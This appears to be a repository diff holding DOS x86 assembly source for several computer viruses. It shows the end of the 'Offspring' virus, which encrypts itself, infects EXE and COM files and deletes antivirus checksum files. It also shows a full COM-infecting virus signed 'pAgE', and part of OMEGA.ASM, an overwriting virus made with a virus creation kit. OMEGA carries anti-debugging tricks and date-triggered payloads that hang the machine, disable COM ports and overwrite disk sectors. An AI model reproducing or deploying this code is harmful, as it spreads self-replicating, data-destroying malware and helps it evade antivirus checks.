||||
mov dh,byte ptr nop_sub ; which byte did we use to fill space?
|
||||
cmp dh,48h ; if INC AX then we need to reset it
|
||||
jne _change ; else decrement it
|
||||
mov dh,40h ; reset to DEC AX
|
||||
_change:
|
||||
cmp dh,41h ; Don't use INC CX..
|
||||
jne no_conflict ;
|
||||
mov dh,48h ; Change it to DEC AX instead
|
||||
no_conflict:
|
||||
cmp dh,47h ; Don't use INC DI
|
||||
jne no_conflict2 ;
|
||||
mov dh,4Bh ; Use DEC BX Instead
|
||||
no_conflict2:
|
||||
cmp dh,44h ; Don't use INC SP
|
||||
jne no_conflict3 ;
|
||||
mov dh,4Dh ; Use DEC BP Instead
|
||||
no_conflict3:
|
||||
cmp dh,46h ; Don't use INC SI
|
||||
jne no_conflict4
|
||||
mov dh,0FBh ; Use STI instead
|
||||
no_conflict4:
|
||||
mov dl,dh ; mov into word reg dx
|
||||
|
||||
mov cx,16 ; 32 bytes
|
||||
lea si,fill_space ; beginning of null space
|
||||
fill_loop:
|
||||
mov [si],dx ; fill null bytes with same op
|
||||
inc si ;
|
||||
inc si ;
|
||||
loop fill_loop ;
|
||||
|
||||
xor cx,cx ; keep track of which we're changing
|
||||
lea di,sw_byte3 ; change the first INC location
|
||||
change_pos_ag:
|
||||
inc cx ; make note
|
||||
cmp change_num,3 ; last position?
|
||||
jne cont_change ; nope.. go ahead
|
||||
mov change_num,0 ; else.. reset it
|
||||
cont_change:
|
||||
add di,change_num ; location to put INC
|
||||
mov ah,inc_op ; INC DI|SI
|
||||
mov byte ptr [di],ah ; write new INC SI|DI
|
||||
|
||||
lea di,sw_byte4 ; now change second INC SI|DI
|
||||
cmp cx,2 ; did we already change both?
|
||||
jne change_pos_ag ; no, change the second
|
||||
inc change_num ; increment position
|
||||
|
||||
mov ah,dir_infect ; save dir_infect
|
||||
push ax ;
|
||||
mov dir_infect,1 ; and reset it to 1
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
d2:
|
||||
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock - sec/ms
|
||||
|
||||
mov word ptr xor_op+2,dx ; save encryption #
|
||||
mov word ptr trick_jmp+1,dx ; put same number in fake jump
|
||||
|
||||
mov si,0100h
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb ; copy virus outside of code
|
||||
|
||||
enc_addr:
|
||||
mov di,offset vend
|
||||
enc_add:
|
||||
add di,offset enc_data-100h+50 ; offset of new copy of virus
|
||||
|
||||
go_enc:
|
||||
mov byte ptr ret_byte,0c3h ; make encryption routine RET
|
||||
call encrypt ; encrypt new copy of virus
|
||||
mov byte ptr ret_byte,90h ; Reset it to no RETurn
|
||||
|
||||
pop ax ; restore dir_infect
|
||||
mov dir_infect,ah
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Write and close new infected file
|
||||
|
||||
pop bx
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
add cx, pad_bytes
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
mov ax,5701h ; Restore data/time
|
||||
mov cx,word ptr f_time
|
||||
mov dx,word ptr f_date
|
||||
int 21h
|
||||
|
||||
|
||||
close:
|
||||
mov ah, 3eh ; close file
|
||||
int 21h
|
||||
|
||||
|
||||
no_infect:
|
||||
find_file:
|
||||
|
||||
cmp inf_count, max_inf ; Max files found?
|
||||
je end_prog ; yes, end infection
|
||||
mov ah,4fh ; Find next file
|
||||
int 21h
|
||||
jc end_prog ; if no files found.. quit
|
||||
jmp next_loop ; infect the next file
|
||||
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
cmp inf_count,0 ; Start parastic infection on next run
|
||||
jne find_done ; nope.. we're done
|
||||
cmp byte ptr vtype, parastic ; Parastic infection done?
|
||||
je find_done ; yep, exit already
|
||||
mov fname_off, offset fname2 ; Point to new filespec
|
||||
mov byte ptr vtype, parastic ; virus type = parastic
|
||||
jmp find_first ; do it again for parastic
|
||||
|
||||
|
||||
find_done:
|
||||
fd2:
|
||||
xor ax,ax
|
||||
mov es,ax ; es = 0
|
||||
cli ; interrupts off
|
||||
mov ax,old_eh_seg ; get old int 24h segment
|
||||
mov bx,old_eh_off ; get old int 24h offset
|
||||
mov es:[24h*4+2],ax ; restore int 24h segment
|
||||
mov es:[24h*4],bx ; restore int 24h offsetn
|
||||
sti ; interrupts on
|
||||
ret ; return
|
||||
resident endp
|
||||
|
||||
|
||||
|
||||
|
||||
vtype db spawn ; Infection type
|
||||
com_name db 'COMMAND.COM' ; obvious
|
||||
org_bytes db 7 dup(0) ; original first seven bytes of parastic inf.
|
||||
pad_bytes dw 0 ; Increase in virus size
|
||||
add_mem db 0 ; Add memory back?
|
||||
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
||||
nop_sub db 40h ; fill byte
|
||||
copyr db 28h,63h,29h,20h,0FBh,69h,72h,6Fh,67h,65h,6Eh
|
||||
v_id db 0ah,0dh,'OŸŸspring Virus V0.89','$'
|
||||
kill_now db 0 ; no program running? dir/disk call?
|
||||
chk_spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill
|
||||
chk_spec2 db 'ANTI-VIR.DAT',0 ; TBAV Checksum kill
|
||||
fname1 db '*.EXE',0 ; Filespec
|
||||
fname2 db '*.COM',0 ; Filespec
|
||||
change_num dw 0 ; keep track of position of INC DI|SI
|
||||
times_inc db 0 ; # of times encryption call incremented
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
|
||||
dir_infect db 0
|
||||
|
||||
vend: ; End of virus
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; heap - not written to disk
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
chk_spec_addr dw chk_spec ; delete file spec
|
||||
fname_off dw fname1 ; Offset of Filespec to use
|
||||
old_nop_sub db 0
|
||||
old_dta dd 0 ; Old DTA Segment:Address
|
||||
old_eh_seg dw 0 ; old error handler (int 24h) seg
|
||||
old_eh_off dw 0 ; old error handler (int 24h) ofs
|
||||
inf_count db 0 ; How many files we have infected this run
|
||||
fcb db 21 dup(0) ; fcb
|
||||
attrib db 0 ; file attribute
|
||||
f_time dw 0 ; file time
|
||||
f_date dw 0 ; file date
|
||||
f_sizeh dw 0 ; file size
|
||||
f_sizel dw 0 ;
|
||||
f_name db 13 dup(0) ; file name
|
||||
|
||||
|
||||
cseg ends
|
||||
end start
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,367 @@
|
||||
;
|
||||
; ÖÄÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÄÒÄ ÒÄÄ¿ ÖÄÄ¿ ÖÄÒÄ¿
|
||||
; ÇÄÄ´ º ³ º º ÇÄ º ³ º
|
||||
; Ð Á Ð Á ÓÄÄÙ ÄÐÄ ÐÄÄÙ Ð Á Ð
|
||||
; ÖÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÒÄÄ¿
|
||||
; ÓÄ¿ ÇÄÄ´ º Ä¿ ÇÄ
|
||||
; ÓÄÄÙ Ð Á ÓÄÄÙ ÐÄÄÙ
|
||||
;
|
||||
; ...from the books of pAgE
|
||||
;
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
depth_of_well equ longer_than-my_dick
|
||||
|
||||
my_dick:
|
||||
call yump_up_and_go
|
||||
|
||||
yump_up_and_go: pop bp
|
||||
sub bp,offset yump_up_and_go
|
||||
jmp hop_over_da_shit
|
||||
|
||||
and_over_it_again: mov ax,3524h
|
||||
int 21h
|
||||
mov word ptr [bp+stash_box],bx
|
||||
mov word ptr [bp+stash_box+2],es
|
||||
mov ah,25h
|
||||
lea dx,[bp+offset int24]
|
||||
int 21h
|
||||
push cs
|
||||
pop es
|
||||
jmp gordon_effect
|
||||
|
||||
hop_over_da_shit: lea si,[bp+stash_3]
|
||||
mov di,100h
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov byte ptr [bp+how_many],4
|
||||
stupid_shit_trns: mov ah,1Ah
|
||||
lea dx,[bp+new_chunk]
|
||||
int 21h
|
||||
|
||||
mov ah,47h
|
||||
mov dl,0
|
||||
lea si,[bp+where_we_is]
|
||||
int 21h
|
||||
mov byte ptr [bp+eyelash],'\'
|
||||
|
||||
jmp and_over_it_again
|
||||
jmp bang_bang
|
||||
put_fletch_on_it proc far
|
||||
|
||||
yeeha_go: mov ah,0h
|
||||
mov al,12h
|
||||
int 10h
|
||||
|
||||
jmp yo_homey_1
|
||||
stupid_shit_1 db 4
|
||||
stupid_shit_2 dw 0
|
||||
db 62h, 79h
|
||||
copyright db '-->>pAgE<<--'
|
||||
db '(C)1992 TuRN-THE-pAgE '
|
||||
stupid_shit_5 db 'Ancient Sages'
|
||||
db ' '
|
||||
db ' Is one of pAgEs'
|
||||
db ' '
|
||||
db '$'
|
||||
yo_homey_1:
|
||||
push si
|
||||
push di
|
||||
mov si,80h
|
||||
cld
|
||||
call mo_stupid_shit_1
|
||||
cmp byte ptr [si],0Dh
|
||||
je yo_homey_4
|
||||
mov cx,28h
|
||||
lea di,stupid_shit_5
|
||||
yo_homeyloop_2:
|
||||
lodsb
|
||||
cmp al,0Dh
|
||||
je yo_homey_3
|
||||
stosb
|
||||
loop yo_homeyloop_2
|
||||
yo_homey_3:
|
||||
inc cx
|
||||
mov al,2Eh
|
||||
rep stosb
|
||||
yo_homey_4:
|
||||
pop di
|
||||
pop si
|
||||
|
||||
mov dx,si
|
||||
mov cx,di
|
||||
mov stupid_shit_2,cx
|
||||
yo_homey_5:
|
||||
mov stupid_shit_1,0FFh
|
||||
yo_homey_6:
|
||||
add stupid_shit_1,1
|
||||
mov bl,stupid_shit_1
|
||||
mov cx,40
|
||||
call mo_stupid_shit_2
|
||||
|
||||
yo_homeyloop_7:
|
||||
mov al,byte ptr copyright+20h[bx]
|
||||
mov ah,0eh
|
||||
int 10h
|
||||
|
||||
inc bx
|
||||
call mo_stupid_shit_3
|
||||
mov dl,0FFh
|
||||
mov ah,6
|
||||
int 21h
|
||||
|
||||
jnz yo_homey_10
|
||||
loop yo_homeyloop_7
|
||||
|
||||
cmp byte ptr copyright+20h[bx],24h
|
||||
je yo_homey_5
|
||||
jmp short yo_homey_6
|
||||
|
||||
put_fletch_on_it endp
|
||||
|
||||
mo_stupid_shit_1 proc near
|
||||
|
||||
yo_homey_8:
|
||||
inc si
|
||||
cmp byte ptr [si],20h
|
||||
je yo_homey_8
|
||||
retn
|
||||
mo_stupid_shit_1 endp
|
||||
|
||||
mo_stupid_shit_2 proc near
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov dx,si
|
||||
mov cx,di
|
||||
mov ah,0Fh
|
||||
int 010h
|
||||
mov ax,1210h
|
||||
mov bx,55h
|
||||
int 10h
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
retn
|
||||
mo_stupid_shit_2 endp
|
||||
|
||||
mo_stupid_shit_3 proc near
|
||||
push cx
|
||||
mov cx,258h
|
||||
yo_homeyloop_9:
|
||||
loop yo_homeyloop_9
|
||||
pop cx
|
||||
retn
|
||||
mo_stupid_shit_3 endp
|
||||
|
||||
yo_homey_10:
|
||||
call mo_stupid_shit_2
|
||||
mov cx,4Fh
|
||||
yo_homeyloop_11:
|
||||
mov al,20h
|
||||
mov ah,0Eh
|
||||
int 10h
|
||||
|
||||
loop yo_homeyloop_11
|
||||
|
||||
mov ah,1
|
||||
mov cx,stupid_shit_2
|
||||
int 10h
|
||||
|
||||
jmp bang_bang
|
||||
call fuck_da_monkey
|
||||
|
||||
gordon_effect: lea dx,[bp+what_we_wants]
|
||||
mov ah,4eh
|
||||
mov cx,7h
|
||||
findfirstyump_up_and_go: nop
|
||||
int 21h
|
||||
|
||||
mov al,0h
|
||||
call tear_it_open
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh
|
||||
lea dx,[bp+muffler]
|
||||
mov cx,1ah
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
check_it_out:
|
||||
|
||||
mov ax,word ptr [bp+new_chunk+1Ah]
|
||||
cmp ax,(longer_than-my_dick)
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(longer_than-my_dick)
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+muffler+1]
|
||||
add bx,longer_than-my_dick+3
|
||||
cmp ax,bx
|
||||
je find_next
|
||||
jmp yo_over_here
|
||||
find_next:
|
||||
mov ah,4fh
|
||||
jmp short findfirstyump_up_and_go
|
||||
mov ah,3bh
|
||||
lea dx,[bp+dot_dot]
|
||||
int 21h
|
||||
jnc gordon_effect
|
||||
|
||||
mov bx,word ptr [bp+muffler+1]
|
||||
add bx,longer_than-my_dick+3
|
||||
yo_over_here: mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset muffler]
|
||||
lea di,[bp+offset stash_3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
finishgordon_effection:
|
||||
push cx
|
||||
xor cx,cx
|
||||
call attributes
|
||||
|
||||
|
||||
mov al,2
|
||||
call tear_it_open
|
||||
|
||||
mov ah,40h
|
||||
lea dx,[bp+muffler]
|
||||
pop cx
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov ah,40h
|
||||
lea dx,[bp+my_dick]
|
||||
mov cx,longer_than-my_dick
|
||||
int 21h
|
||||
|
||||
mov ax,5701h
|
||||
mov cx,word ptr [bp+new_chunk+16h]
|
||||
mov dx,word ptr [bp+new_chunk+18h]
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+new_chunk+15h]
|
||||
call attributes
|
||||
|
||||
leave_heeruh_virus:
|
||||
mov ax,2524h
|
||||
lds dx,[bp+offset stash_box]
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
olley: call put_fletch_on_it
|
||||
|
||||
tear_it_open proc near
|
||||
mov ah,3dh
|
||||
lea dx,[bp+new_chunk+30]
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
endp tear_it_open
|
||||
|
||||
attributes proc near
|
||||
mov ax,4301h
|
||||
lea dx,[bp+new_chunk+30]
|
||||
int 21h
|
||||
ret
|
||||
endp attributes
|
||||
int24:
|
||||
mov al,3
|
||||
iret
|
||||
yumpem_keep dd ?
|
||||
how_many db ?
|
||||
davey_jones dd ?
|
||||
yumpem_keep2 db ?
|
||||
stash_3 db 0cdh,20h,0
|
||||
davey_jones2 dd ?
|
||||
what_we_wants db "*.COM",0
|
||||
muffler db 1ah dup (?)
|
||||
stash_box dd ?
|
||||
eyelash db ?
|
||||
where_we_is db 64 dup (?)
|
||||
new_chunk db 43 dup (?)
|
||||
dot_dot db '..',0
|
||||
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
; Borrowed this segment from the VCL
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
|
||||
bang_bang proc near
|
||||
mov cx,0025h
|
||||
new_shot: push cx
|
||||
mov dx,0140h
|
||||
mov bx,0100h
|
||||
in al,061h
|
||||
and al,11111100b
|
||||
fire_shot: xor al,2
|
||||
out 061h,al
|
||||
add dx,09248h
|
||||
mov cl,3
|
||||
ror dx,cl
|
||||
mov cx,dx
|
||||
and cx,01FFh
|
||||
or cx,10
|
||||
shoot_pause: loop shoot_pause
|
||||
dec bx
|
||||
jnz fire_shot
|
||||
and al,11111100b
|
||||
out 061h,al
|
||||
mov bx,0002h
|
||||
xor ah,ah
|
||||
int 1Ah
|
||||
add bx,dx
|
||||
shoot_delay: int 1Ah
|
||||
cmp dx,bx
|
||||
jne shoot_delay
|
||||
pop cx
|
||||
loop new_shot
|
||||
endp bang_bang
|
||||
|
||||
fuck_da_monkey proc near
|
||||
;xor ah,ah
|
||||
;int 1Ah
|
||||
;xchg dx,ax
|
||||
;mov dx,0FFh
|
||||
out_loop: ;out dx,al
|
||||
;dec dx
|
||||
;jne out_loop
|
||||
|
||||
;mov al,0002h
|
||||
;mov cx,3
|
||||
;lea dx,stupid_shit1_file
|
||||
;int 26h
|
||||
|
||||
;cli
|
||||
;hlt
|
||||
;jmp short $
|
||||
endp fuck_da_monkey
|
||||
int 20h
|
||||
longer_than:
|
||||
end my_dick
|
||||
|
||||
@@ -0,0 +1,539 @@
|
||||
; OMEGA.ASM -- Omega: The End
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Noinger
|
||||
|
||||
virus_type equ 1 ; Overwriting Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
flag: add bx,0
|
||||
xchg bx,ax
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
mov bx,offset null_vector ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
mov cx,0014h ; Do 20 infections
|
||||
search_loop: push cx ; Save CX
|
||||
call search_files ; Find and infect a file
|
||||
pop cx ; Restore CX
|
||||
loop search_loop ; Repeat until CX is 0
|
||||
|
||||
call get_month
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0010h ; Did the function return 16?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip00 ; If greater than or equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: mov cx,423Fh ; First argument is 16959
|
||||
new_shot: push cx ; Save the current count
|
||||
mov dx,0140h ; DX holds pitch
|
||||
mov bx,0100h ; BX holds shot duration
|
||||
in al,061h ; Read the speaker port
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
fire_shot: xor al,2 ; Toggle the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
add dx,09248h ;
|
||||
mov cl,3 ;
|
||||
ror dx,cl ; Figure out the delay time
|
||||
mov cx,dx ;
|
||||
and cx,01FFh ;
|
||||
or cx,10 ;
|
||||
shoot_pause: loop shoot_pause ; Delay a bit
|
||||
dec bx ; Are we done with the shot?
|
||||
jnz fire_shot ; If not, pulse the speaker
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
mov bx,0002h ; BX holds delay time (ticks)
|
||||
xor ah,ah ; Get time function
|
||||
int 1Ah ; BIOS timer interrupt
|
||||
add bx,dx ; Add current time to delay
|
||||
shoot_delay: int 1Ah ; Get the time again
|
||||
cmp dx,bx ; Are we done yet?
|
||||
jne shoot_delay ; If not, keep checking
|
||||
pop cx ; Restore the count
|
||||
loop new_shot ; Do another shot
|
||||
|
||||
mov si,0001h ; First argument is 1
|
||||
push es ; Save ES
|
||||
xor ax,ax ; Set the extra segment to
|
||||
mov es,ax ; zero (ROM BIOS)
|
||||
shl si,1 ; Convert to word index
|
||||
mov word ptr [si + 03FEh],0 ; Zero COM port address
|
||||
pop es ; Restore ES
|
||||
|
||||
end00: call get_month
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jle skip01 ; If less that or equal, skip effect
|
||||
jmp short strt01 ; Success -- skip jump
|
||||
skip01: jmp end01 ; Skip the routine
|
||||
strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h
|
||||
|
||||
end01: call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip02 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jle skip02 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip02 ; If greater than or equal, skip effect
|
||||
jmp short strt02 ; Success -- skip jump
|
||||
skip02: jmp end02 ; Skip the routine
|
||||
strt02: mov bx,0001h ; First argument is 1
|
||||
mov si,0002h ; Second argument is 2
|
||||
push es ; Save ES
|
||||
xor ax,ax ; Set the extra segment to
|
||||
mov es,ax ; zero (ROM BIOS)
|
||||
shl bx,1 ; Convert to word index
|
||||
shl si,1 ; Convert to word index
|
||||
mov ax,word ptr [bx + 03FEh]; Zero COM port address
|
||||
xchg word ptr [si + 03FEh],ax; Put first value in second,
|
||||
mov word ptr [bx + 03FEh],ax; and second value in first!
|
||||
pop es ; Restore ES
|
||||
|
||||
end02: call get_month
|
||||
cmp ax,000Bh ; Did the function return 11?
|
||||
jne skip03 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jle skip03 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip03 ; If greater than or equal, skip effect
|
||||
jmp short strt03 ; Success -- skip jump
|
||||
skip03: jmp end03 ; Skip the routine
|
||||
strt03: int 018h ; Drop to ROM BASIC
|
||||
|
||||
end03: call get_month
|
||||
cmp ax,000Ch ; Did the function return 12?
|
||||
jne skip04 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0002h ; Did the function return 2?
|
||||
jle skip04 ; If less that or equal, skip effect
|
||||
cmp ax,0002h ; Did the function return 2?
|
||||
jge skip04 ; If greater than or equal, skip effect
|
||||
jmp short strt04 ; Success -- skip jump
|
||||
skip04: jmp end04 ; Skip the routine
|
||||
strt04: cli ; Clear the interrupt flag
|
||||
hlt ; HaLT the computer
|
||||
jmp short $ ; Just to make sure
|
||||
|
||||
end04: call get_year
|
||||
cmp ax,07CDh ; Did the function return 1997?
|
||||
jle skip05 ; If less that or equal, skip effect
|
||||
call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip05 ; If not equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0005h ; Did the function return 5?
|
||||
jle skip05 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip05 ; If greater than or equal, skip effect
|
||||
call get_second
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip05 ; If not equal, skip effect
|
||||
jmp short strt05 ; Success -- skip jump
|
||||
skip05: jmp end05 ; Skip the routine
|
||||
strt05: mov si,offset data00 ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
end05: call get_year
|
||||
cmp ax,07CDh ; Did the function return 1997?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip06 ; If greater than or equal, skip effect
|
||||
call get_second
|
||||
cmp ax,0005h ; Did the function return 5?
|
||||
jne skip06 ; If not equal, skip effect
|
||||
jmp short strt06 ; Success -- skip jump
|
||||
skip06: jmp end06 ; Skip the routine
|
||||
strt06: mov ax,0002h ; First argument is 2
|
||||
mov cx,423Fh ; Second argument is 16959
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
|
||||
end06: mov ax,04C00h ; DOS terminate function
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
|
||||
db 0FDh,0C8h,006h,0C6h,0DFh
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,135 ; Allocate 135 bytes on stack
|
||||
|
||||
mov byte ptr [bp - 135],'\' ; Start with a backslash
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 134] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
call traverse_path ; Start the traversal
|
||||
|
||||
traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
|
||||
je done_searching ; If so then we're done
|
||||
call found_subdir ; Otherwise copy the subdirectory
|
||||
|
||||
mov ax,cs ; AX holds the code segment
|
||||
mov ds,ax ; Set the data and extra
|
||||
mov es,ax ; segments to the code segment
|
||||
|
||||
xor al,al ; Zero AL
|
||||
stosb ; NULL-terminate the directory
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 70] ; DX points to the directory
|
||||
int 021h
|
||||
|
||||
mov dx,offset com_mask ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a .COM file
|
||||
jnc done_searching ; If successful the exit
|
||||
mov dx,offset exe_mask ; DX points to "*.EXE"
|
||||
call find_files ; Try to infect an .EXE file
|
||||
jnc done_searching ; If successful the exit
|
||||
jmp short traversal_loop ; Keep checking the PATH
|
||||
|
||||
done_searching: mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 135] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
cmp word ptr [path_ad],0 ; Did we run out of directories?
|
||||
jne at_least_tried ; If not then exit
|
||||
stc ; Set the carry flag for failure
|
||||
at_least_tried: mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
||||
search_files endp
|
||||
|
||||
traverse_path proc near
|
||||
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
|
||||
xor di,di ; DI holds the starting offset
|
||||
|
||||
find_path: mov si,offset path_string ; SI points to "PATH="
|
||||
lodsb ; Load the "P" into AL
|
||||
mov cx,08000h ; Check the first 32767 bytes
|
||||
repne scasb ; Search until the byte is found
|
||||
mov cx,4 ; Check the next four bytes
|
||||
check_next_4: lodsb ; Load the next letter of "PATH="
|
||||
scasb ; Compare it to the environment
|
||||
jne find_path ; If there not equal try again
|
||||
loop check_next_4 ; Otherwise keep checking
|
||||
|
||||
mov word ptr [path_ad],di ; Save the PATH address for later
|
||||
mov word ptr [path_ad + 2],es ; Save PATH's segment for later
|
||||
ret ; Return to caller
|
||||
|
||||
path_string db "PATH=" ; The PATH string to search for
|
||||
path_ad dd ? ; Holds the PATH's address
|
||||
traverse_path endp
|
||||
|
||||
found_subdir proc near
|
||||
lds si,dword ptr [path_ad] ; DS:SI points to the PATH
|
||||
lea di,[bp - 70] ; DI points to the work buffer
|
||||
push cs ; Transfer CS into ES for
|
||||
pop es ; byte transfer
|
||||
move_subdir: lodsb ; Load the next byte into AL
|
||||
cmp al,';' ; Have we reached a separator?
|
||||
je moved_one ; If so we're done copying
|
||||
or al,al ; Are we finished with the PATH?
|
||||
je moved_last_one ; If so get out of here
|
||||
stosb ; Store the byte at ES:DI
|
||||
jmp short move_subdir ; Keep transfering characters
|
||||
|
||||
moved_last_one: xor si,si ; Zero SI to signal completion
|
||||
moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
|
||||
ret ; Return to caller
|
||||
found_subdir endp
|
||||
|
||||
db 0BFh,0C0h,0BDh,072h,05Fh
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
